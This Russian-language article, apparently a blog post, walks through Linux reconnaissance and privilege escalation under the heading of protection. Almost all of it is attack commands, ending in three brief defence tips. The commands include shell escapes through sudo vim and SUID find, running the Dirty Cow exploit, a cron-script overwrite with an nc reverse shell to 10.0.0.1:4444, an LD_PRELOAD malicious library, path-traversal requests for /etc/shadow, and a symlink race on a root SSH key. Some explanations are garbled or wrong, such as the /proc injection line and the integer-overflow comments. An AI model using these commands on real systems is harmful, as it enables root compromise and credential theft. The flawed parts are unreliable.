Добавить в корзинуПозвонить
Найти в Дзене

Разведка и закрепление в Linux | Как защититься?

Основные методики: 1. Сбор информации о системе А. Общая информация Ядро и дистрибутив: uname -a # Архитектура, версия ядра cat /etc/*-release # Название дистрибутива (Debian, CentOS и т.д.) lsb_release -a # Альтернатива для Debian-based систем Аппаратная часть: lscpu # Информация о CPU free -h # Оперативная память df -h # Дисковое пространство Б. Сеть Интерфейсы и подключения: ifconfig # или ip a (список интерфейсов) netstat -tuln # Открытые порты (-t: TCP, -u: UDP) ss -tuln # Современная замена netstat Маршрутизация: route -n # Таблица маршрутизации arp -a # ARP-таблица (соответствие IP-MAC) В. Пользователи и процессы Текущие пользователи: whoami # Ваш текущий пользователь who # Кто сейчас в системе last # История входов Привилегии: sudo -l # Какие команды можно

Основные методики:

1. Сбор информации о системе

А. Общая информация

Ядро и дистрибутив:

uname -a # Архитектура, версия ядра
cat /etc/*-release # Название дистрибутива (Debian, CentOS и т.д.)
lsb_release -a # Альтернатива для Debian-based систем

Аппаратная часть:

lscpu # Информация о CPU
free -h # Оперативная память
df -h # Дисковое пространство

Б. Сеть

Интерфейсы и подключения:

ifconfig # или ip a (список интерфейсов)
netstat -tuln # Открытые порты (-t: TCP, -u: UDP)
ss -tuln # Современная замена netstat

Маршрутизация:

route -n # Таблица маршрутизации
arp -a # ARP-таблица (соответствие IP-MAC)

В. Пользователи и процессы

Текущие пользователи:

whoami # Ваш текущий пользователь
who # Кто сейчас в системе
last # История входов

Привилегии:

sudo -l # Какие команды можно запускать через sudo
cat /etc/sudoers # Настройки sudo (требует root)

2. Поиск уязвимостей для повышения привилегий

А. Неправильные настройки Sudo (Sudo Misconfiguration)

Если пользователь может выполнять команды от имени root без пароля:

sudo -l # Пример вывода:
# User kali may run the following commands on target:
# (ALL) NOPASSWD: /usr/bin/vim

Эксплуатация:

sudo vim /etc/shadow # Редактируем файл с паролями
# Или получаем shell:
sudo vim -c ':!/bin/sh'

Б. Уязвимости ядра (Kernel Exploits)

Поиск известных эксплоитов для ядра:

uname -r # Версия ядра
searchsploit "Linux Kernel 5.4" # Поиск в базе Exploit-DB

Пример для Dirty Cow (CVE-2016-5195):

gcc dirty.c -o dirty -pthread # Компиляция эксплоита
./dirty # Запуск → получаем root!

В. SUID-биты

Файлы с SUID выполняются от владельца (часто root).

Поиск:

find / -perm -4000 -type f 2>/dev/null

Пример эксплуатации для find:

find / -exec /bin/sh \; # Запуск shell от root

Г. Уязвимые Cron-задачи

Проверка задач, которые выполняются от root:

crontab -l # Задачи текущего пользователя
ls -la /etc/cron* # Системные задачи
cat /etc/crontab

Если найдён скрипт с правами на запись:

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f" > /path/to/script.sh
# После запуска задачи получаем reverse shell от root.

Д. Подмена библиотек (Missing Libraries)

Если программа ищет библиотеки в текущей директории:

ldd /usr/bin/program # Показать зависимости

Создаём зловредную библиотеку:

echo 'void _init() { system("/bin/sh"); }' > evil.c
gcc -shared -o evil.so evil.c -fPIC
export LD_PRELOAD=./evil.so
/usr/bin/program # Запуск → shell от владельца программы!

3. Продвинутые техники

А. Directory/Path Traversal

Чтение файлов вне разрешённой директории:

curl http://site.com/../../etc/passwd
Пример в веб-приложениях:
http://vulnsite.com/download?file=../../../etc/shadow

Б. Race Condition

Использование гонки процессов. Пример с symlink:

while true; do ln -sf /etc/passwd /tmp/exploit; ln -sf /root/.ssh/id_rsa /tmp/exploit; done

Затем запускаем уязвимый скрипт, который читает /tmp/exploit.

В. Integer Overflow

Эксплуатация ошибок в арифметике программ (требует навыков C):

// Пример уязвимого кода
int main() {
int size = 2147483647; // MAX_INT
size += 1; // Переполнение → size = -2147483648
char *buf = malloc(size); // Выделение отрицательной памяти → крах
}

4. Дополнительные методы

А. Использование nmap

Поиск уязвимостей автоматически:

nmap --script=vuln <target>

Б. Process Injection

Внедрение кода в работающий процесс через /proc/[pid]/mem:

ps aux | grep root # Ищем процесс от root
echo -ne '\x01\x02...' > /proc/[PID]/

Как защититься?

- Обновление системы до актуальной версии

- Убирать лишние SUID-биты (chmod -s /usr/bin/find).

- Аудит /etc/crontab и sudoers.